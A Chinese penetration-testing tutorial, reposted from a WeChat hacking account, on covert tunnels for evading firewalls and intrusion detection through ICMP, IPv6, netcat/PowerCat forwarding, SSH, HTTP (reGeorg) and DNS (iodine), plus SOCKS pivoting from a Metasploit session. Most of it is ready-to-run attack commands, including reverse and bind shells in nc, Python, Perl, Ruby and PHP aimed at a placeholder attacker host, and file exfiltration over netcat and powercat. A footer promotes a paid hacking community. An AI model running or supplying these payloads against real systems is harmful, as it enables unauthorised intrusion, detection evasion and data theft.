对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

admin 2022年9月8日15:18:11评论50 views字数 8745阅读29分9秒阅读模式

什么是隧道?

这里的隧道,就是一种绕过端口屏蔽的通信方式。举个例子,比如在一个防火墙两端进行数据通信,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,进而通过防火墙,在防火墙两端进行通信,防火墙两端开辟的路径就相当于是一个隧道。

隐藏通信隧道用来干什么?

隐藏通信隧道技术常用于在访问受限的网络环境中或不受信任的网络中实现安全的数据传输。用通俗的话来讲就是在大多数情况下,内网的环境存在多种边界设备以及入侵检测装置的限制,它们会对主机间或者内网与外网之间通信的流量进行检测,如果存在异常就会进行拦截,这无疑给内网渗透增加了难度,而隐藏通信隧道技术就是为了绕过各种边界设备的封锁,从而完成主机间或内网与外网之间的通信。

各层网络常用隧道技术都有哪些?

  • 网络层:IPV6隧道、ICMP隧道、GRE隧道

  • 传输层:TCP隧道、UDP隧道、常规端口转发

  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

常规判断内网连通性的方法都有哪些?

1. TCP 协议
用netcat
执行 nc 命令:nc <IP> <端口>
例如:nc -zv 192.168.26.20 80

2. HTTP 协议
用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
例如:curl www.baidu.com:80

3. ICMP 协议
用“ping”命令,执行ping <IP地址/域名>
例如: ping www.baidu.com

4. DNS 协议
检测DNS连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
例如:nslookup www.baidu.com 服务器-ip
dig 服务器-ip www.baidu.com

网络层隧道技术

**IPV6隧道简介:**IPV6隧道是指通过IPV4隧道传送IPV6数据报文的技术,隧道的本质就是数据包的封装。我们把ipv6的数据包封装到ipv4中,以便在ipv4网络中传输,数据包到达目的地后,再把ipv6数据包从ipv4中拆出来,从而达到ipv6内容在ipv4的网络中传播。

支持IPV6隧道的工具:socat、6tunnel、nt6tunnel等

优点:现在的防火墙等安全设备并没有对ipv6流量进行检测的相关规则,我们可以把ipv6内容封装到ipv4中传播,来绕过安全设备的检测。

6tunnel建立IPV6隧道:

地址:https://github.com/wojtekka/6tunnel,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。相关参数可参考官方说明。

搭建隧道

kali中自带,直接使用kali测试,连接的目标是centos,centos需要开启ipv6,示例图如下(以80web服务为例)。
对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

6tunnel不支持多个端口转发,如果有其他服务的端口需要转发,需要再次运行6tunnel,运行后会自动在后台运行。

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

此时我们在kali中访问本地的80端口,6tunnel会转到centos的80上,从而访问到centos的web服务(以ipv6数据包的形式)。

想要断开该隧道的时候kill掉对应进程即可。

**注意:**6tunnel指定目标ipv6地址时需要指定网卡。

**ICMP隧道简介:**讲TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。

支持ICMP隧道的工具:icmpsh、PingTunnel

优点:通常防火墙不会屏蔽ping数据包

icmpsh建立ICMP隧道:

因为icmpsh会替代系统本身ping命令的应答程序,所以需要输入以下命令来关闭本地的ICMP应答

sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run.sh
192.168.1.9 #根据提示输入目标机器IP 并按回车

然后在目标机器上执行以下命令即可

icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128    #这里的ip为攻击机的ip

优点:使用简单,运行时不需要管理员权限。

PingTunnel建立ICMP隧道:

应用场景:数据库服务器策略限制web服务器无法直接访问数据库服务器,但是可以通过ping命令访问数据库服务器

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

github:https://github.com/esrrhs/pingtunnel

ptunnel -x  shuteer      #在web服务器执行
ptunnel -p 192.168.1.4  -lp 1080 -da 1.1.1.10  -dp 3389 -x shuteer     #在服务器执行
#对于以上命令的解释,以web服务器为跳板,监听本地1080端口,并将对数据库服务器的3389端口的请求给到本地的1080端口

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

然后在服务器本地访问1080端口,就可以发现已经与数据库服务器的3389端口建立了连接

传输层隧道技术

传输层隧道技术包括TCP隧道、UDP隧道、端口转发等

lcx端口转发

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

netcat的常用命令

nc -nv 192.168.26.137 			 	 	#抓取192.168.26.137 22端口的banner
nc -v 192.168.26.137 80 #扫描指定主机的80端口
nc -v -z 192.168.26.137 20-1024 #扫描指定主机的20-1024端口段
nc -nvv 192.168.26.137 80 #与远程主机建立连接
nc -lp 4444 #监听本地4444端口
#文件传输
nc -lvp 4444 >1.txt #在服务器执行
nc -vn 192.168.26.20 4444 < info.txt -q 3 #在目标机器输入服务器的IP、端口,将本地info.txt传输给服务器,传输完成后三秒断开

正向shell目标机器开启监听 服务器主动连接目标机器

nc -lvp 4444 -e /bin/bash                              #目标机器为linux
nc -lvp 4444 -e c:windowssystem32cmd.exe #目标机器为windows
nc 192.168.26.137 4444       #在服务器输入目标机器的IP、端口

反向shell目标机器主动连接服务器 服务器开启监听

nc -lvp 4444                #在服务器开启监听4444
nc 192.168.26.20 4444 -e /bin/bash                              #服务器为linux      此处IP为服务器-IP
nc 192.168.26.20 4444 -e c:windowssystem32cmd.exe #服务器为windows 此处IP为服务器-IP

当目标机器没有nc时

nc -lvp 5555              #监听5555端口
#python反向shell   注意将x.x.x.x改成服务器的IP
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#perl反向shell方法一   注意将x.x.x.x改成服务器的IP
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#perl反向shell方法二 注意将x.x.x.x改成服务器的IP
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
#ruby反向shell  注意将x.x.x.x改成服务器的IP
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
#php反向shell  注意将x.x.x.x改成服务器的IP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

PowerCat

**简介:**PowerCat可以说是nc的powershell版

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

nc正向连接PowerCat

powercat -l -p 8080 -e cmd.exe -v           #win7
nc 192.168.56.130 8080 -vv                  #KaLi

nc反向连接PowerCat

nc -lp 8888 -vv                #KaLi
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe	#win7

powercat传输文件

powercat -l -p 9999 -of newtest.txt -v       #启动监听本地9999端口 并将收到的内容输出到newtest.txt中
powercat -c 10.10.10.129 -p 9999 -i c:test.txt #将c盘下的test.txt文件发送到10.10.10.129的9999端口

powercat生成正向shell

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

然后讲shell.ps1上传到目标机器并执行,然后在服务器执行以下命令即可获得正向shell

powercat -c 10.10.10.129 -p 8000 -v        #主动连接目标机器

powercat生成反向shell

powercat -l -p 8000  -ep -v -g >> shell.ps1
powercat -l -p 9999 -v

在win7上的Powercat作为跳板实现KaLi与winserver08的通信

powercat -l -v -p 9999 -e cmd.exe            #在winserver08上监听9999端口,并将得到的命令交给cmd处理
powercat -l -v -p 8000  -r tcp::10.10.10.129:9999  #在win7上监听8000端口并且将流量转发给winserver08的9999端口
nc 192.168.56.130 8000 -vv             #在KaLi上,主动连接win7的8000端口

应用层隧道技术

SSH实现本地转发

应用场景:服务器可以访问web服务器,web服务器也可以访问服务器

目的:以web服务器为跳板,实现服务器访问数据库服务器3389端口

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

将 Web服务器192.168.1.11作为跳板,将内网数据库服务器1.1.1.10 的3389端口映射到服务器机器192.168.1.4的1153端口,再访问服务器的1153端口,就可以访问1.1.1.10的3389端口了。在服务器上执行如下命令,

ssh -CfNg -L    1153:1.1.1.10:3389         [email protected]
#解释 (服务器端口)(目标主机)(目标端口) (跳板机)

在服务器上执行以上命令,会要求输入Web服务器(跳板机)的密码,输入web服务器密码后,在服务器执行以下命令即可连接数据库服务器的3389端口

rdesktop 127.0.0.1:1153

SSH实现远程转发

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

应用场景:服务器不可以访问web服务器,web服务器可以访问服务器

目的:以web服务器为跳板,实现服务器访问数据库服务器3389端口

分析:在web服务器上远程调用服务器监听7000端口,所有访问服务器7000端口的数据都将通过SSH隧道转发给数据库服务器的3389端口

在web服务器上执行以下命令

ssh -cfNg -R 3307(服务器端口):1.1.1.10 (目标主机):3389(目标端口)  [email protected]

在服务器执行以下命令即可连接数据库服务器的3389端口

rdesktop 127.0.0.1:3307

SSH实现动态转发

应用场景:服务器可以访问web服务器,web服务器也可以访问服务器

目的:实现在服务器的浏览器中访问域控

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

ssh -CfNg -D 7000 [email protected]

在服务器上执行以上命令,建立一个动态的SOCKS 4/5代理通道,接下来,在本地打开浏览器,设置网络代理

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

设置好代理后,即可通过浏览器访问域控。

任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。

HTTP(S)隧道

这里使用reGeorg工具来建立HTTP隧道

先将reGeorg工具带的马子上传到web服务器上,并用浏览器访问,然后在KaLi上执行以下命令

python reGeorgSocksProxy.py -u http://192.168.184.149:8080/tunnel.jsp -p 9999

最后需要将proxychains.conf文件中的设置的端口改为9999,然后就可以挂上proxychains来访问一些web服务器并不对外开放的端口,或者进一步的操作。

优点: 大多数防火墙和入侵检测设备都不会过滤DNS流量,很多研究表明DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

首先检查DNS连通性,看该主机成功解析外网域名

nslookup www.baidu.com

这里用iodine这款工具来搭建DNS隧道,准备一台服务器,然后设置一条DNS的A记录,指向自己的域名,接着设置一条DNS的NS记录指向自己的子域名。设置好DNS解析后就可以开始在服务器上安装该工具的服务端了,使用下面这条命令即可安装。

apt  install  iodine

安装好后使用以下命令运行iodine

iodined -f -c -P 123456   192.168.0.1  test.com  -DD

其中:

  • test.com 是自定义DNS传输的主域名

  • 192.168.0.1 自定义的局域网虚拟IP

  • 123456 自定义密码,客户端需要同样密码才能连接

对于linux客户端机器只需安装iodine客户端即可 命令如下:

iodined -f   -P 123456     test.com  -M 200

Socks代理

SOCKS有两种类型

SOCKS4:只支持TCP类型

SOCKS5:不仅支持TCP/UDP协议,还支持各种身份验证等

这里介绍两个用的比较多的Socks代理工具,一个是应用于linux的SOCKS代理工具Proxychains,另一个是应用于windows的下SOCKS代理工具SocksCap64。

在linux下使用Proxychains实现内网漫游

Proxychains是一款可以在linux下实现全局代理的软件,性能稳定、可靠,该工具在Kali中有集成,使用十分便捷。

**应用场景:**如下图所示我们在kali上已经获得了一个msf会话,然后使用下面这条命令发现内网的其他网段

run get_local_subnets

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

接着使用下面这条命令添加一条路由

run autoroute -s 192.168.22.0/24

为了接下来可以直接使用kali上的工具对内网中22网段的主机进行渗透,我们就需要建立一个socks隧道

background                  #先把当前会话挂起来
use auxiliary/server/socks4a
show options
set srvhost 192.168.26.20 #kali的ip
exploit

接下来还需要改一下配置文件,改成kali的ip就行了

vim /etc/proxychains.conf

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

接下来就在各类工具前面加上proxychains即可直接对目标内网进行扫描和渗透。

在windows下使用SocksCap64实现内网漫游

Sockscap64是一款代理客户端软件,可以使Windows网络应用程序来访问网络而不需要对这些应用程序做任何修改。

接着上面的场景继续说,通过proxychains我们可以使用kali上的工具对目标内网进行操作,但是如果此时我们想使用一些windows上的工具对内网进行操作该怎么办呢,这个时候就需要用到SocksCap64这款工具了。假设我们想要使用蚁剑这款工具,我们可以点击代理,然后把kali上的ip和相应的端口添加上去即可。设置完代理后,点击程序把蚁剑添加到这个工具里面,然后如下图所示,右键单击蚁剑图标,然后点击在代理隧道中运行选中程序即可。

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

参考资料:《内网安全攻防渗透测试实战指南》

本文作者:南城夕雾, 转载请注明来自FreeBuf.COM

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

 【Hacking黑白红】,一线渗透攻防实战交流公众号

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球




【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。







对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)






渗透实战系列


【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

    

长按-识别-关注

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

Hacking黑白红

一个专注信息安全技术的学习平台

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

点分享

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

点收藏

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

点点赞

对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

点在看

原文始发于微信公众号(Hacking黑白红):对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月8日15:18:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)http://cn-sec.com/archives/1285262.html

发表评论

匿名网友 填写信息